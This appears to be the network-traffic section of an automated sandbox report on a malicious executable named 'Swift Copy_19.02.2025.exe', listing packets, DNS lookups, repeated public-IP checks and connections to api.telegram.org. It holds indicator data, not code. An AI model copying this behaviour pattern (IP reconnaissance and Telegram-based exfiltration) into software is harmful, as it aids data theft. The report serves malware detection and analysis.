Feb 21, 2025 08:29:38.596434116 CET	49990	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.633894920 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:38.638972998 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:38.790958881 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:38.793225050 CET	49991	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.793281078 CET	443	49991	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.793356895 CET	49991	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.793646097 CET	49991	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:38.793667078 CET	443	49991	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:38.832274914 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:39.249020100 CET	443	49991	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:39.251837969 CET	49991	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:39.251859903 CET	443	49991	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:39.382442951 CET	443	49991	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:39.382500887 CET	443	49991	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:39.382739067 CET	49991	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:39.383116961 CET	49991	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:39.408577919 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:39.414644003 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:39.563488960 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:39.564313889 CET	49992	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:39.564382076 CET	443	49992	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:39.564459085 CET	49992	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:39.564733982 CET	49992	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:39.564748049 CET	443	49992	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:39.614830971 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:40.043651104 CET	443	49992	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.045509100 CET	49992	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.045546055 CET	443	49992	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.200814962 CET	443	49992	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.200881004 CET	443	49992	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.200925112 CET	49992	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.201351881 CET	49992	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.222812891 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:40.227863073 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:40.377568960 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:40.378614902 CET	49993	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.378660917 CET	443	49993	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.378748894 CET	49993	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.379044056 CET	49993	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.379055023 CET	443	49993	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.426039934 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:40.845585108 CET	443	49993	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.847481012 CET	49993	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.847502947 CET	443	49993	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.990362883 CET	443	49993	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.990438938 CET	443	49993	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:40.990588903 CET	49993	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:40.991152048 CET	49993	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.032267094 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:41.037338972 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:41.321453094 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:41.322122097 CET	49994	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.322171926 CET	443	49994	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:41.322246075 CET	49994	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.322518110 CET	49994	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.322530031 CET	443	49994	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:41.363535881 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:41.777071953 CET	443	49994	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:41.782304049 CET	49994	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.782341003 CET	443	49994	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:41.909347057 CET	443	49994	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:41.909425020 CET	443	49994	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:41.909476995 CET	49994	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.909881115 CET	49994	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:41.930900097 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:41.936156034 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:42.088720083 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:42.089586973 CET	49995	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.089632988 CET	443	49995	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.089720011 CET	49995	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.089979887 CET	49995	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.089993954 CET	443	49995	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.129339933 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:42.565980911 CET	443	49995	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.567744017 CET	49995	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.567764997 CET	443	49995	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.694782972 CET	443	49995	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.694859028 CET	443	49995	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.694936991 CET	49995	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.695395947 CET	49995	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.718482018 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:42.723619938 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:42.875241995 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:42.876065969 CET	49996	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.876116037 CET	443	49996	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.876208067 CET	49996	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.876490116 CET	49996	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:42.876507998 CET	443	49996	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:42.926090956 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:43.331525087 CET	443	49996	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:43.333272934 CET	49996	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:43.333317995 CET	443	49996	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:43.471304893 CET	443	49996	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:43.471394062 CET	443	49996	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:43.471611977 CET	49996	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:43.472075939 CET	49996	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:43.499068975 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:43.504194021 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:43.654258013 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:43.655014992 CET	49997	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:43.655076027 CET	443	49997	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:43.655145884 CET	49997	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:43.655437946 CET	49997	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:43.655452967 CET	443	49997	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:43.707329035 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:44.228212118 CET	443	49997	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:44.229919910 CET	49997	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:44.229948044 CET	443	49997	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:44.563738108 CET	443	49997	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:44.563812017 CET	443	49997	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:44.563863993 CET	49997	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:44.564305067 CET	49997	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:44.583898067 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:44.589023113 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:44.739655972 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:29:44.740398884 CET	49998	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:44.740449905 CET	443	49998	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:44.740514994 CET	49998	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:44.740818024 CET	49998	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:44.740833044 CET	443	49998	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:44.785406113 CET	49989	80	192.168.2.6	158.101.44.242
Feb 21, 2025 08:29:45.196130037 CET	443	49998	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:45.197761059 CET	49998	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:45.197801113 CET	443	49998	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:45.328618050 CET	443	49998	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:45.328691006 CET	443	49998	104.21.112.1	192.168.2.6
Feb 21, 2025 08:29:45.328764915 CET	49998	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:45.332570076 CET	49998	443	192.168.2.6	104.21.112.1
Feb 21, 2025 08:29:46.134442091 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:46.134475946 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.134566069 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:46.135031939 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:46.135042906 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.750447989 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.750705957 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:46.752831936 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:46.752844095 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.753163099 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.754765034 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:46.799329042 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.995290995 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.995384932 CET	443	49999	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:46.995450020 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:47.010135889 CET	49999	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.000930071 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.000979900 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.001059055 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.001347065 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.001358986 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.613281965 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.615087032 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.615103006 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.615195990 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.615202904 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.901912928 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.901993990 CET	443	50001	149.154.167.220	192.168.2.6
Feb 21, 2025 08:29:53.902250051 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:29:53.902520895 CET	50001	443	192.168.2.6	149.154.167.220
Feb 21, 2025 08:30:49.739548922 CET	80	49989	158.101.44.242	192.168.2.6
Feb 21, 2025 08:30:49.741925955 CET	49989	80	192.168.2.6	158.101.44.242

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2025 08:29:30.705641031 CET	56083	53	192.168.2.6	1.1.1.1
Feb 21, 2025 08:29:30.713500977 CET	53	56083	1.1.1.1	192.168.2.6
Feb 21, 2025 08:29:31.786098957 CET	55215	53	192.168.2.6	1.1.1.1
Feb 21, 2025 08:29:31.794706106 CET	53	55215	1.1.1.1	192.168.2.6
Feb 21, 2025 08:29:36.489435911 CET	60349	53	192.168.2.6	1.1.1.1
Feb 21, 2025 08:29:36.496939898 CET	53	60349	1.1.1.1	192.168.2.6
Feb 21, 2025 08:29:37.701881886 CET	65476	53	192.168.2.6	1.1.1.1
Feb 21, 2025 08:29:37.714881897 CET	53	65476	1.1.1.1	192.168.2.6
Feb 21, 2025 08:29:46.126414061 CET	50182	53	192.168.2.6	1.1.1.1
Feb 21, 2025 08:29:46.133745909 CET	53	50182	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 21, 2025 08:29:30.705641031 CET	192.168.2.6	1.1.1.1	0xcc2a	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:31.786098957 CET	192.168.2.6	1.1.1.1	0x36bf	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:36.489435911 CET	192.168.2.6	1.1.1.1	0xb5df	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.701881886 CET	192.168.2.6	1.1.1.1	0x930b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:46.126414061 CET	192.168.2.6	1.1.1.1	0xd759	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 21, 2025 08:29:30.713500977 CET	1.1.1.1	192.168.2.6	0xcc2a	No error (0)	drive.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:31.794706106 CET	1.1.1.1	192.168.2.6	0x36bf	No error (0)	drive.usercontent.google.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:36.496939898 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 21, 2025 08:29:36.496939898 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:36.496939898 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:36.496939898 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:36.496939898 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:36.496939898 CET	1.1.1.1	192.168.2.6	0xb5df	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:37.714881897 CET	1.1.1.1	192.168.2.6	0x930b	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 21, 2025 08:29:46.133745909 CET	1.1.1.1	192.168.2.6	0xd759	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49989	158.101.44.242	80	3892	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 08:29:36.518064976 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 21, 2025 08:29:37.081201077 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e89414c702a39490c06f87e1db8b95f6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:37.103708982 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:37.258359909 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 942a59c9fe2e0ae5932943d3e5b939ce Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:38.633894920 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:38.790958881 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 381c6e50f9004c9b6db24c0cf1f7d429 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:39.408577919 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:39.563488960 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f590029b0fc58c65375daa7467a3b495 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:40.222812891 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:40.377568960 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4f26118657a4dad311762e9ec58fb4f3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:41.032267094 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:41.321453094 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 18a9198f3555a55200316bedc5db1b0b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:41.930900097 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:42.088720083 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1df2de941178ef5fc7184e4d38f25bf6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:42.718482018 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:42.875241995 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4d70e5698cdb5e13579c51b0a690c6ff Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:43.499068975 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 21, 2025 08:29:43.654258013 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0ffb34641819b5e41fd6fda2d7cc91b1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 21, 2025 08:29:44.583898067 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
